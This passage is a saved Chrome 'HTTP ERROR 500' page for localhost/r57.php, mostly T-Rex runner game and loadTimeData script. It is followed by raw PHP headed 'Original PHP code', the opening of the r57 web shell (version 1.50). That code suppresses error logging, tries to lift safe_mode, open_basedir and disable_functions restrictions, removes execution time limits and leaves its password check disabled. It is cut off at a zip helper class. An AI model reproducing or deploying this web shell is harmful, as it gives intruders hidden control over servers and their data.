      moonSourceX = this.spritePos.x +
          (NightMode.phases[this.currentPhase] * 2);
      starSize *= 2;
      starSourceX = Runner.spriteDefinitionByType.original.HDPI.STAR.x;
    }

    this.canvasCtx.save();
    this.canvasCtx.globalAlpha = this.opacity;

    // Stars.
    if (this.drawStars) {
      for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
        this.canvasCtx.drawImage(
            Runner.origImageSprite, starSourceX, this.stars[i].sourceY,
            starSize, starSize, Math.round(this.stars[i].x), this.stars[i].y,
            NightMode.config.STAR_SIZE, NightMode.config.STAR_SIZE);
      }
    }

    // Moon.
    this.canvasCtx.drawImage(
        Runner.origImageSprite, moonSourceX, this.spritePos.y, moonSourceWidth,
        moonSourceHeight, Math.round(this.xPos), this.yPos, moonOutputWidth,
        NightMode.config.HEIGHT);

    this.canvasCtx.globalAlpha = 1;
    this.canvasCtx.restore();
  },

  // Do star placement.
  placeStars() {
    const segmentSize = Math.round(this.containerWidth /
        NightMode.config.NUM_STARS);

    for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
      this.stars[i] = {};
      this.stars[i].x = getRandomNum(segmentSize * i, segmentSize * (i + 1));
      this.stars[i].y = getRandomNum(0, NightMode.config.STAR_MAX_Y);

      if (IS_HIDPI) {
        this.stars[i].sourceY =
            Runner.spriteDefinitionByType.original.HDPI.STAR.y +
            NightMode.config.STAR_SIZE * 2 * i;
      } else {
        this.stars[i].sourceY =
            Runner.spriteDefinitionByType.original.LDPI.STAR.y +
            NightMode.config.STAR_SIZE * i;
      }
    }
  },

  reset() {
    this.currentPhase = 0;
    this.opacity = 0;
    this.update(false);
  },

};


//******************************************************************************

/**
 * Horizon Line.
 * Consists of two connecting lines. Randomly assigns a flat / bumpy horizon.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} lineConfig Configuration object.
 * @constructor
 */
function HorizonLine(canvas, lineConfig) {
  let sourceX = lineConfig.SOURCE_X;
  let sourceY = lineConfig.SOURCE_Y;

  if (IS_HIDPI) {
    sourceX *= 2;
    sourceY *= 2;
  }

  this.spritePos = {x: sourceX, y: sourceY};
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.sourceDimensions = {};
  this.dimensions = lineConfig;

  this.sourceXPos = [this.spritePos.x, this.spritePos.x +
      this.dimensions.WIDTH];
  this.xPos = [];
  this.yPos = 0;
  this.bumpThreshold = 0.5;

  this.setSourceDimensions(lineConfig);
  this.draw();
}


/**
 * Horizon line dimensions.
 * @enum {number}
 */
HorizonLine.dimensions = {
  WIDTH: 600,
  HEIGHT: 12,
  YPOS: 127,
};


HorizonLine.prototype = {
  /**
   * Set the source dimensions of the horizon line.
   */
  setSourceDimensions(newDimensions) {
    for (const dimension in newDimensions) {
      if (dimension !== 'SOURCE_X' && dimension !== 'SOURCE_Y') {
        if (IS_HIDPI) {
          if (dimension !== 'YPOS') {
            this.sourceDimensions[dimension] = newDimensions[dimension] * 2;
          }
        } else {
          this.sourceDimensions[dimension] = newDimensions[dimension];
        }
        this.dimensions[dimension] = newDimensions[dimension];
      }
    }

    this.xPos = [0, newDimensions.WIDTH];
    this.yPos = newDimensions.YPOS;
  },

  /**
   * Return the crop x position of a type.
   */
  getRandomType() {
    return Math.random() > this.bumpThreshold ? this.dimensions.WIDTH : 0;
  },

  /**
   * Draw the horizon line.
   */
  draw() {
    this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[0],
        this.spritePos.y,
        this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
        this.xPos[0], this.yPos,
        this.dimensions.WIDTH, this.dimensions.HEIGHT);

    this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[1],
        this.spritePos.y,
        this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
        this.xPos[1], this.yPos,
        this.dimensions.WIDTH, this.dimensions.HEIGHT);
  },

  /**
   * Update the x position of an indivdual piece of the line.
   * @param {number} pos Line position.
   * @param {number} increment
   */
  updateXPos(pos, increment) {
    const line1 = pos;
    const line2 = pos === 0 ? 1 : 0;

    this.xPos[line1] -= increment;
    this.xPos[line2] = this.xPos[line1] + this.dimensions.WIDTH;

    if (this.xPos[line1] <= -this.dimensions.WIDTH) {
      this.xPos[line1] += this.dimensions.WIDTH * 2;
      this.xPos[line2] = this.xPos[line1] - this.dimensions.WIDTH;
      this.sourceXPos[line1] = this.getRandomType() + this.spritePos.x;
    }
  },

  /**
   * Update the horizon line.
   * @param {number} deltaTime
   * @param {number} speed
   */
  update(deltaTime, speed) {
    const increment = Math.floor(speed * (FPS / 1000) * deltaTime);

    if (this.xPos[0] <= 0) {
      this.updateXPos(0, increment);
    } else {
      this.updateXPos(1, increment);
    }
    this.draw();
  },

  /**
   * Reset horizon to the starting position.
   */
  reset() {
    this.xPos[0] = 0;
    this.xPos[1] = this.dimensions.WIDTH;
  },
};


//******************************************************************************

/**
 * Horizon background class.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} spritePos Sprite positioning.
 * @param {Object} dimensions Canvas dimensions.
 * @param {number} gapCoefficient
 * @constructor
 */
function Horizon(canvas, spritePos, dimensions, gapCoefficient) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.config = Horizon.config;
  this.dimensions = dimensions;
  this.gapCoefficient = gapCoefficient;
  this.obstacles = [];
  this.obstacleHistory = [];
  this.horizonOffsets = [0, 0];
  this.cloudFrequency = this.config.CLOUD_FREQUENCY;
  this.spritePos = spritePos;
  this.nightMode = null;
  this.altGameModeActive = false;

  // Cloud
  this.clouds = [];
  this.cloudSpeed = this.config.BG_CLOUD_SPEED;

  // Background elements
  this.backgroundEls = [];
  this.lastEl = null;
  this.backgroundSpeed = this.config.BG_CLOUD_SPEED;

  // Horizon
  this.horizonLine = null;
  this.horizonLines = [];
  this.init();
}


/**
 * Horizon config.
 * @enum {number}
 */
Horizon.config = {
  BG_CLOUD_SPEED: 0.2,
  BUMPY_THRESHOLD: .3,
  CLOUD_FREQUENCY: .5,
  HORIZON_HEIGHT: 16,
  MAX_CLOUDS: 6,
};


Horizon.prototype = {
  /**
   * Initialise the horizon. Just add the line and a cloud. No obstacles.
   */
  init() {
    Obstacle.types = Runner.spriteDefinitionByType.original.OBSTACLES;
    this.addCloud();
    // Multiple Horizon lines
    for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
      this.horizonLines.push(
          new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
    }

    this.nightMode = new NightMode(this.canvas, this.spritePos.MOON,
        this.dimensions.WIDTH);
  },

  /**
   * Update obstacle definitions based on the speed of the game.
   */
  adjustObstacleSpeed: function() {
    for (let i = 0; i < Obstacle.types.length; i++) {
      if (Runner.slowDown) {
        Obstacle.types[i].multipleSpeed = Obstacle.types[i].multipleSpeed / 2;
        Obstacle.types[i].minGap *= 1.5;
        Obstacle.types[i].minSpeed = Obstacle.types[i].minSpeed / 2;

        // Convert variable y position obstacles to fixed.
        if (typeof (Obstacle.types[i].yPos) == 'object') {
          Obstacle.types[i].yPos = Obstacle.types[i].yPos[0];
          Obstacle.types[i].yPosMobile = Obstacle.types[i].yPos[0];
        }
      }
    }
  },

  /**
   * Update sprites to correspond to change in sprite sheet.
   * @param {number} spritePos
   */
  enableAltGameMode: function(spritePos) {
    // Clear existing horizon objects.
    this.clouds = [];
    this.backgroundEls = [];

    this.altGameModeActive = true;
    this.spritePos = spritePos;

    Obstacle.types = Runner.spriteDefinition.OBSTACLES;
    this.adjustObstacleSpeed();

    Obstacle.MAX_GAP_COEFFICIENT = Runner.spriteDefinition.MAX_GAP_COEFFICIENT;
    Obstacle.MAX_OBSTACLE_LENGTH = Runner.spriteDefinition.MAX_OBSTACLE_LENGTH;

    BackgroundEl.config = Runner.spriteDefinition.BACKGROUND_EL_CONFIG;

    this.horizonLines = [];
    for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
      this.horizonLines.push(
          new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
    }
    this.reset();
  },

  /**
   * @param {number} deltaTime
   * @param {number} currentSpeed
   * @param {boolean} updateObstacles Used as an override to prevent
   *     the obstacles from being updated / added. This happens in the
   *     ease in section.
   * @param {boolean} showNightMode Night mode activated.
   */
  update(deltaTime, currentSpeed, updateObstacles, showNightMode) {
    this.runningTime += deltaTime;

    if (this.altGameModeActive) {
      this.updateBackgroundEls(deltaTime, currentSpeed);
    }

    for (let i = 0; i < this.horizonLines.length; i++) {
      this.horizonLines[i].update(deltaTime, currentSpeed);
    }

    if (!this.altGameModeActive || Runner.spriteDefinition.HAS_CLOUDS) {
      this.nightMode.update(showNightMode);
      this.updateClouds(deltaTime, currentSpeed);
    }

    if (updateObstacles) {
      this.updateObstacles(deltaTime, currentSpeed);
    }
  },

  /**
   * Update background element positions. Also handles creating new elements.
   * @param {number} elSpeed
   * @param {Array<Object>} bgElArray
   * @param {number} maxBgEl
   * @param {Function} bgElAddFunction
   * @param {number} frequency
   */
  updateBackgroundEl(elSpeed, bgElArray, maxBgEl, bgElAddFunction, frequency) {
    const numElements = bgElArray.length;

    if (numElements) {
      for (let i = numElements - 1; i >= 0; i--) {
        bgElArray[i].update(elSpeed);
      }

      const lastEl = bgElArray[numElements - 1];

      // Check for adding a new element.
      if (numElements < maxBgEl &&
          (this.dimensions.WIDTH - lastEl.xPos) > lastEl.gap &&
          frequency > Math.random()) {
        bgElAddFunction();
      }
    } else {
      bgElAddFunction();
    }
  },

  /**
   * Update the cloud positions.
   * @param {number} deltaTime
   * @param {number} speed
   */
  updateClouds(deltaTime, speed) {
    const elSpeed = this.cloudSpeed / 1000 * deltaTime * speed;
    this.updateBackgroundEl(
        elSpeed, this.clouds, this.config.MAX_CLOUDS, this.addCloud.bind(this),
        this.cloudFrequency);

    // Remove expired elements.
    this.clouds = this.clouds.filter((obj) => !obj.remove);
  },

  /**
   * Update the background element positions.
   * @param {number} deltaTime
   * @param {number} speed
   */
  updateBackgroundEls(deltaTime, speed) {
    this.updateBackgroundEl(
        deltaTime, this.backgroundEls, BackgroundEl.config.MAX_BG_ELS,
        this.addBackgroundEl.bind(this), this.cloudFrequency);

    // Remove expired elements.
    this.backgroundEls = this.backgroundEls.filter((obj) => !obj.remove);
  },

  /**
   * Update the obstacle positions.
   * @param {number} deltaTime
   * @param {number} currentSpeed
   */
  updateObstacles(deltaTime, currentSpeed) {
    const updatedObstacles = this.obstacles.slice(0);

    for (let i = 0; i < this.obstacles.length; i++) {
      const obstacle = this.obstacles[i];
      obstacle.update(deltaTime, currentSpeed);

      // Clean up existing obstacles.
      if (obstacle.remove) {
        updatedObstacles.shift();
      }
    }
    this.obstacles = updatedObstacles;

    if (this.obstacles.length > 0) {
      const lastObstacle = this.obstacles[this.obstacles.length - 1];

      if (lastObstacle && !lastObstacle.followingObstacleCreated &&
          lastObstacle.isVisible() &&
          (lastObstacle.xPos + lastObstacle.width + lastObstacle.gap) <
          this.dimensions.WIDTH) {
        this.addNewObstacle(currentSpeed);
        lastObstacle.followingObstacleCreated = true;
      }
    } else {
      // Create new obstacles.
      this.addNewObstacle(currentSpeed);
    }
  },

  removeFirstObstacle() {
    this.obstacles.shift();
  },

  /**
   * Add a new obstacle.
   * @param {number} currentSpeed
   */
  addNewObstacle(currentSpeed) {
    const obstacleCount =
        Obstacle.types[Obstacle.types.length - 1].type != 'COLLECTABLE' ||
            (Runner.isAltGameModeEnabled() && !this.altGameModeActive ||
             this.altGameModeActive) ?
        Obstacle.types.length - 1 :
        Obstacle.types.length - 2;
    const obstacleTypeIndex =
        obstacleCount > 0 ? getRandomNum(0, obstacleCount) : 0;
    const obstacleType = Obstacle.types[obstacleTypeIndex];

    // Check for multiples of the same type of obstacle.
    // Also check obstacle is available at current speed.
    if ((obstacleCount > 0 && this.duplicateObstacleCheck(obstacleType.type)) ||
        currentSpeed < obstacleType.minSpeed) {
      this.addNewObstacle(currentSpeed);
    } else {
      const obstacleSpritePos = this.spritePos[obstacleType.type];

      this.obstacles.push(new Obstacle(
          this.canvasCtx, obstacleType, obstacleSpritePos, this.dimensions,
          this.gapCoefficient, currentSpeed, obstacleType.width,
          this.altGameModeActive));

      this.obstacleHistory.unshift(obstacleType.type);

      if (this.obstacleHistory.length > 1) {
        this.obstacleHistory.splice(Runner.config.MAX_OBSTACLE_DUPLICATION);
      }
    }
  },

  /**
   * Returns whether the previous two obstacles are the same as the next one.
   * Maximum duplication is set in config value MAX_OBSTACLE_DUPLICATION.
   * @return {boolean}
   */
  duplicateObstacleCheck(nextObstacleType) {
    let duplicateCount = 0;

    for (let i = 0; i < this.obstacleHistory.length; i++) {
      duplicateCount =
          this.obstacleHistory[i] === nextObstacleType ? duplicateCount + 1 : 0;
    }
    return duplicateCount >= Runner.config.MAX_OBSTACLE_DUPLICATION;
  },

  /**
   * Reset the horizon layer.
   * Remove existing obstacles and reposition the horizon line.
   */
  reset() {
    this.obstacles = [];
    for (let l = 0; l < this.horizonLines.length; l++) {
      this.horizonLines[l].reset();
    }

    this.nightMode.reset();
  },

  /**
   * Update the canvas width and scaling.
   * @param {number} width Canvas width.
   * @param {number} height Canvas height.
   */
  resize(width, height) {
    this.canvas.width = width;
    this.canvas.height = height;
  },

  /**
   * Add a new cloud to the horizon.
   */
  addCloud() {
    this.clouds.push(new Cloud(this.canvas, this.spritePos.CLOUD,
        this.dimensions.WIDTH));
  },

  /**
   * Add a random background element to the horizon.
   */
  addBackgroundEl() {
    const backgroundElTypes =
        Object.keys(Runner.spriteDefinition.BACKGROUND_EL);

    if (backgroundElTypes.length > 0) {
      let index = getRandomNum(0, backgroundElTypes.length - 1);
      let type = backgroundElTypes[index];

      // Add variation if available.
      while (type == this.lastEl && backgroundElTypes.length > 1) {
        index = getRandomNum(0, backgroundElTypes.length - 1);
        type = backgroundElTypes[index];
      }

      this.lastEl = type;
      this.backgroundEls.push(new BackgroundEl(
          this.canvas, this.spritePos.BACKGROUND_EL, this.dimensions.WIDTH,
          type));
    }
  },
};
</script>
  <script>// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/* @const
 * Add matching sprite definition and config to Runner.spriteDefinitionByType.
 */
const GAME_TYPE = [];

/**
 * Obstacle definitions.
 * minGap: minimum pixel space between obstacles.
 * multipleSpeed: Speed at which multiples are allowed.
 * speedOffset: speed faster / slower than the horizon.
 * minSpeed: Minimum speed which the obstacle can make an appearance.
 *
 * @typedef {{
 *   type: string,
 *   width: number,
 *   height: number,
 *   yPos: number,
 *   multipleSpeed: number,
 *   minGap: number,
 *   minSpeed: number,
 *   collisionBoxes: Array<CollisionBox>,
 * }}
 */
let ObstacleType;

/**
 * T-Rex runner sprite definitions.
 */
Runner.spriteDefinitionByType = {
  original: {
    LDPI: {
      BACKGROUND_EL: {x: 86, y: 2},
      CACTUS_LARGE: {x: 332, y: 2},
      CACTUS_SMALL: {x: 228, y: 2},
      OBSTACLE_2: {x: 332, y: 2},
      OBSTACLE: {x: 228, y: 2},
      CLOUD: {x: 86, y: 2},
      HORIZON: {x: 2, y: 54},
      MOON: {x: 484, y: 2},
      PTERODACTYL: {x: 134, y: 2},
      RESTART: {x: 2, y: 68},
      TEXT_SPRITE: {x: 655, y: 2},
      TREX: {x: 848, y: 2},
      STAR: {x: 645, y: 2},
      COLLECTABLE: {x: 2, y: 2},
      ALT_GAME_END: {x: 121, y: 2},
    },
    HDPI: {
      BACKGROUND_EL: {x: 166, y: 2},
      CACTUS_LARGE: {x: 652, y: 2},
      CACTUS_SMALL: {x: 446, y: 2},
      OBSTACLE_2: {x: 652, y: 2},
      OBSTACLE: {x: 446, y: 2},
      CLOUD: {x: 166, y: 2},
      HORIZON: {x: 2, y: 104},
      MOON: {x: 954, y: 2},
      PTERODACTYL: {x: 260, y: 2},
      RESTART: {x: 2, y: 130},
      TEXT_SPRITE: {x: 1294, y: 2},
      TREX: {x: 1678, y: 2},
      STAR: {x: 1276, y: 2},
      COLLECTABLE: {x: 4, y: 4},
      ALT_GAME_END: {x: 242, y: 4},
    },
    MAX_GAP_COEFFICIENT: 1.5,
    MAX_OBSTACLE_LENGTH: 3,
    HAS_CLOUDS: 1,
    BOTTOM_PAD: 10,
    TREX: {
      WAITING_1: {x: 44, w: 44, h: 47, xOffset: 0},
      WAITING_2: {x: 0, w: 44, h: 47, xOffset: 0},
      RUNNING_1: {x: 88, w: 44, h: 47, xOffset: 0},
      RUNNING_2: {x: 132, w: 44, h: 47, xOffset: 0},
      JUMPING: {x: 0, w: 44, h: 47, xOffset: 0},
      CRASHED: {x: 220, w: 44, h: 47, xOffset: 0},
      COLLISION_BOXES: [
        new CollisionBox(22, 0, 17, 16),
        new CollisionBox(1, 18, 30, 9),
        new CollisionBox(10, 35, 14, 8),
        new CollisionBox(1, 24, 29, 5),
        new CollisionBox(5, 30, 21, 4),
        new CollisionBox(9, 34, 15, 4),
      ],
    },
    /** @type {Array<ObstacleType>} */
    OBSTACLES: [
      {
        type: 'CACTUS_SMALL',
        width: 17,
        height: 35,
        yPos: 105,
        multipleSpeed: 4,
        minGap: 120,
        minSpeed: 0,
        collisionBoxes: [
          new CollisionBox(0, 7, 5, 27),
          new CollisionBox(4, 0, 6, 34),
          new CollisionBox(10, 4, 7, 14),
        ],
      },
      {
        type: 'CACTUS_LARGE',
        width: 25,
        height: 50,
        yPos: 90,
        multipleSpeed: 7,
        minGap: 120,
        minSpeed: 0,
        collisionBoxes: [
          new CollisionBox(0, 12, 7, 38),
          new CollisionBox(8, 0, 7, 49),
          new CollisionBox(13, 10, 10, 38),
        ],
      },
      {
        type: 'PTERODACTYL',
        width: 46,
        height: 40,
        yPos: [100, 75, 50],    // Variable height.
        yPosMobile: [100, 50],  // Variable height mobile.
        multipleSpeed: 999,
        minSpeed: 8.5,
        minGap: 150,
        collisionBoxes: [
          new CollisionBox(15, 15, 16, 5),
          new CollisionBox(18, 21, 24, 6),
          new CollisionBox(2, 14, 4, 3),
          new CollisionBox(6, 10, 4, 7),
          new CollisionBox(10, 8, 6, 9),
        ],
        numFrames: 2,
        frameRate: 1000 / 6,
        speedOffset: .8,
      },
    ],
    BACKGROUND_EL: {
      'CLOUD': {
        HEIGHT: 14,
        MAX_CLOUD_GAP: 400,
        MAX_SKY_LEVEL: 30,
        MIN_CLOUD_GAP: 100,
        MIN_SKY_LEVEL: 71,
        OFFSET: 4,
        WIDTH: 46,
        X_POS: 1,
        Y_POS: 120,
      },
    },
    BACKGROUND_EL_CONFIG: {
      MAX_BG_ELS: 1,
      MAX_GAP: 400,
      MIN_GAP: 100,
      POS: 0,
      SPEED: 0.5,
      Y_POS: 125,
    },
    LINES: [
      {SOURCE_X: 2, SOURCE_Y: 52, WIDTH: 600, HEIGHT: 12, YPOS: 127},
    ],
  },
};
</script>
  
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function S(a,b){var c=document;if(b){var e=c.getElementById(a);if(!e){e=b();var d=c.getElementById("jsts");d||(d=c.createElement("div"),d.id="jsts",r(d),d.style.position="absolute",c.body.appendChild(d));var g=c.createElement("div");d.appendChild(g);g.innerHTML=e;e=c.getElementById(a)}c=e}else c=c.getElementById(a);return c?(L(c),c=c.cloneNode(!0),c.removeAttribute("id"),c):null}function T(a,b,c){c==b.length-1?a.setAttribute("jsinstance","*"+c):a.setAttribute("jsinstance",""+c)};window.jstGetTemplate=S;window.JsEvalContext=u;window.jstProcess=function(a,b){var c=new F;L(b);c.m=b?9==b.nodeType?b:b.ownerDocument||document:document;var e=m(c,c.g,a,b),d=c.j=[],g=c.o=[];c.c=[];e();for(var h,f,k;d.length;)h=d[d.length-1],e=g[g.length-1],e>=h.length?(e=c,f=d.pop(),f.length=0,e.c.push(f),g.pop()):(f=h[e++],k=h[e++],h=h[e++],g[g.length-1]=e,f.call(c,k,h))};
})()</script><script jstcache="0">// Copyright 2012 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * @fileoverview
 * NOTE: This file is deprecated, and provides only the minimal LoadTimeData
 * functions for places in the code still not using JS modules. Use
 * load_time_data.m.js in all new code.
 *
 * This file defines a singleton which provides access to all data
 * that is available as soon as the page's resources are loaded (before DOM
 * content has finished loading). This data includes both localized strings and
 * any data that is important to have ready from a very early stage (e.g. things
 * that must be displayed right away).
 *
 * Note that loadTimeData is not guaranteed to be consistent between page
 * refreshes (https://crbug.com/740629) and should not contain values that might
 * change if the page is re-opened later.
 */

/** @type {!LoadTimeData} */
// eslint-disable-next-line no-var
var loadTimeData;

class LoadTimeData {
  constructor() {
    /** @type {?Object} */
    this.data_ = null;
  }

  /**
   * Sets the backing object.
   *
   * Note that there is no getter for |data_| to discourage abuse of the form:
   *
   *     var value = loadTimeData.data()['key'];
   *
   * @param {Object} value The de-serialized page data.
   */
  set data(value) {
    expect(!this.data_, 'Re-setting data.');
    this.data_ = value;
  }

  /**
   * @param {string} id An ID of a value that might exist.
   * @return {boolean} True if |id| is a key in the dictionary.
   */
  valueExists(id) {
    return id in this.data_;
  }

  /**
   * Fetches a value, expecting that it exists.
   * @param {string} id The key that identifies the desired value.
   * @return {*} The corresponding value.
   */
  getValue(id) {
    expect(this.data_, 'No data. Did you remember to include strings.js?');
    const value = this.data_[id];
    expect(typeof value !== 'undefined', 'Could not find value for ' + id);
    return value;
  }

  /**
   * As above, but also makes sure that the value is a string.
   * @param {string} id The key that identifies the desired string.
   * @return {string} The corresponding string value.
   */
  getString(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'string');
    return /** @type {string} */ (value);
  }

  /**
   * Returns a formatted localized string where $1 to $9 are replaced by the
   * second to the tenth argument.
   * @param {string} id The ID of the string we want.
   * @param {...(string|number)} var_args The extra values to include in the
   *     formatted output.
   * @return {string} The formatted string.
   */
  getStringF(id, var_args) {
    const value = this.getString(id);
    if (!value) {
      return '';
    }

    const args = Array.prototype.slice.call(arguments);
    args[0] = value;
    return this.substituteString.apply(this, args);
  }

  /**
   * Returns a formatted localized string where $1 to $9 are replaced by the
   * second to the tenth argument. Any standalone $ signs must be escaped as
   * $$.
   * @param {string} label The label to substitute through.
   *     This is not an resource ID.
   * @param {...(string|number)} var_args The extra values to include in the
   *     formatted output.
   * @return {string} The formatted string.
   */
  substituteString(label, var_args) {
    const varArgs = arguments;
    return label.replace(/\$(.|$|\n)/g, function(m) {
      expect(m.match(/\$[$1-9]/), 'Unescaped $ found in localized string.');
      return m === '$$' ? '$' : varArgs[m[1]];
    });
  }

  /**
   * As above, but also makes sure that the value is a boolean.
   * @param {string} id The key that identifies the desired boolean.
   * @return {boolean} The corresponding boolean value.
   */
  getBoolean(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'boolean');
    return /** @type {boolean} */ (value);
  }

  /**
   * As above, but also makes sure that the value is an integer.
   * @param {string} id The key that identifies the desired number.
   * @return {number} The corresponding number value.
   */
  getInteger(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'number');
    expect(value === Math.floor(value), 'Number isn\'t integer: ' + value);
    return /** @type {number} */ (value);
  }

  /**
   * Override values in loadTimeData with the values found in |replacements|.
   * @param {Object} replacements The dictionary object of keys to replace.
   */
  overrideValues(replacements) {
    expect(
        typeof replacements === 'object',
        'Replacements must be a dictionary object.');
    for (const key in replacements) {
      this.data_[key] = replacements[key];
    }
  }
}

/**
 * Checks condition, throws error message if expectation fails.
 * @param {*} condition The condition to check for truthiness.
 * @param {string} message The message to display if the check fails.
 */
function expect(condition, message) {
  if (!condition) {
    throw new Error(
        'Unexpected condition on ' + document.location.href + ': ' + message);
  }
}

/**
 * Checks that the given value has the given type.
 * @param {string} id The id of the value (only used for error message).
 * @param {*} value The value to check the type on.
 * @param {string} type The type we expect |value| to be.
 */
function expectIsType(id, value, type) {
  expect(
      typeof value === type, '[' + value + '] (' + id + ') is not a ' + type);
}

expect(!loadTimeData, 'should only include this file once');
loadTimeData = new LoadTimeData();

// Expose |loadTimeData| directly on |window|, since within a JS module the
// scope is local and not all files have been updated to import the exported
// |loadTimeData| explicitly.
window.loadTimeData = loadTimeData;

console.warn('crbug/1173575, non-JS module files deprecated.');
</script><script jstcache="0">const pageData = {"details":"Details","errorCode":"HTTP ERROR 500","fontfamily":"\"sans\", Arial, sans-serif","fontsize":"75%","heading":{"hostName":"localhost","msg":"This page isn’t working"},"hideDetails":"Hide details","iconClass":"icon-generic","language":"en","reloadButton":{"msg":"Reload","reloadUrl":"http://localhost/r57.php"},"suggestionsDetails":[],"suggestionsSummaryList":[],"summary":{"failedUrl":"http://localhost/r57.php","hostName":"localhost","msg":"\u003Cstrong jscontent=\"hostName\">\u003C/strong> is currently unable to handle this request."},"textdirection":"ltr","title":"localhost"};loadTimeData.data = pageData;var tp = document.getElementById('t');jstProcess(new JsEvalContext(pageData), tp);</script></body></html>

Original PHP code

<?php error_reporting(0);
 $language='tr';
 $auth = 0;
 @ini_restore("safe_mode");
 @ini_restore("open_basedir");
 @ini_restore("safe_mode_include_dir");
 @ini_restore("safe_mode_exec_dir");
 @ini_restore("disable_functions");
 @ini_restore("allow_url_fopen");
 @ini_set('error_log',NULL);
 @ini_set('log_errors',0);
 ;
echo '';
 if((!@function_exists('ini_get')) ||(@ini_get('open_basedir')!=NULL) ||(@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;
}else{$open_basedir=0;
};
 define("starttime",@getmicrotime());
 set_magic_quotes_runtime(0);
 @set_time_limit(0);
 @ini_set('max_execution_time',0);
 @ini_set('output_buffering',0);
 $safe_mode = @ini_get('safe_mode');
 $version = '1.50<br/><br/><br/><br/>';
 if(@version_compare(@phpversion(),'4.1.0') == -1) { $_POST = &$HTTP_POST_VARS;
 $_GET = &$HTTP_GET_VARS;
 $_SERVER = &$HTTP_SERVER_VARS;
 $_COOKIE = &$HTTP_COOKIE_VARS;
 } if (@get_magic_quotes_gpc()) { foreach ($_POST as $k=>$v) { $_POST[$k] = stripslashes($v);
 } foreach ($_COOKIE as $k=>$v) { $_COOKIE[$k] = stripslashes($v);
 } } if($auth == 1) { if (!isset($_SERVER['PHP_AUTH_USER']) ||md5($_SERVER['PHP_AUTH_USER'])!==$name ||md5($_SERVER['PHP_AUTH_PW'])!==$pass) { header('WWW-Authenticate: Basic realm=""');
 header('HTTP/1.0 401 Unauthorized');
 exit("<b>Access Denied</b>");
 } } $head = '
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;
 charset=windows-1251">
<title>r57 Shell Version 1.50</title>
<STYLE>

tr {

BORDER-RIGHT:  black 1px solid;


BORDER-TOP:    black 1px solid;


BORDER-LEFT:   black 1px solid;


BORDER-BOTTOM: black 1px solid;


BORDER-COLOR: black;


color: silver;


}

td {

BORDER-RIGHT:  black 1px solid;


BORDER-TOP:    black 1px solid;


BORDER-LEFT:   black 1px solid;


BORDER-BOTTOM: black 1px solid;


BORDER-COLOR: black;


background-color:black;


color: white;


}



.table1 {

BORDER: 0px;


BORDER-COLOR: #333333;


BACKGROUND-COLOR: black;


color: white;


}

.td1 {

BORDER: 0px;


BORDER-COLOR: #333333;


font: 7pt Verdana;


BACKGROUND-COLOR: black;


color: green;


}

.tr1 {

BORDER: 0px;


BORDER-COLOR: #333333;


color: #50AA20;


}

table {

BORDER:  #eeeeee 1px outset;


BORDER-COLOR: #333333;


BACKGROUND-COLOR: #131313;


color: #50AA20;


}

input {

border			: solid 1px;


border-color		: #2D2D2D #252525 #252525 #252525;


BACKGROUND-COLOR: black;


font: 8pt Verdana;


color: red;


}

select {

BORDER-RIGHT:  #ffffff 1px solid;


BORDER-TOP:    #999999 1px solid;


BORDER-LEFT:   #999999 1px solid;


BORDER-BOTTOM: #ffffff 1px solid;


BORDER-COLOR: #333333;


BACKGROUND-COLOR: #131313;


font: 8pt Verdana;


color: white;
;


}

submit {

BORDER:  buttonhighlight 2px outset;


BACKGROUND-COLOR: #131313;


width: 30%;


color: white;


}

textarea {

BORDER-RIGHT:  #ffffff 1px solid;


BORDER-TOP:    #999999 1px solid;


BORDER-LEFT:   #999999 1px solid;


BORDER-BOTTOM: #ffffff 1px solid;


BORDER-COLOR: #333333;


BACKGROUND-COLOR: black;


font: Fixedsys bold;


color: silver;


}

BODY {

SCROLLBAR-ARROW-COLOR: #444444;


SCROLLBAR-BASE-COLOR: #444444;


margin: 1px;


color: #50AA20;


background-color: #131313;


}

.main {

margin			: -287px 0px 0px -490px;


border			: #000000 solid 1px;


BORDER-COLOR: #333333;


}

.tt {

background-color: black;


}

A:link {COLOR:red;
 TEXT-DECORATION: none}

A:visited { COLOR:red;
 TEXT-DECORATION: none}

A:active {COLOR:red;
 TEXT-DECORATION: none}

A:hover {color:blue;
TEXT-DECORATION: none}

</STYLE>

<script language=\'javascript\'>
function hide_div(id)
{
  document.getElementById(id).style.display = \'none\';

  document.cookie=id+\'=0;
\';

}
function show_div(id)
{
  document.getElementById(id).style.display = \'block\';

  document.cookie=id+\'=1;
\';

}
function change_divst(id)
{
  if (document.getElementById(id).style.display == \'none\')
    show_div(id);

  else
    hide_div(id);

}


</script>';
 class zipfile { var $datasec = array();
 var $ctrl_dir = array();
 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
 var $old_offset = 0;
 function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ?getdate() : getdate($unixtime);
 if ($timearray['year'] <1980) { $timearray['year'] = 1980;
 $timearray['mon'] = 1;
 $timearray['mday'] = 1;
 $timearray['hours'] = 0;
 $timearray['minutes'] = 0;
 $timearray['seconds'] = 0;
 } return (($timearray['year'] -1980) <<25) |($timearray['mon'] <<21) |($timearray['mday'] <<16) | ($timearray['hours'] <<11) |($timearray['minutes'] <<5) |($timearray['seconds'] >>1);
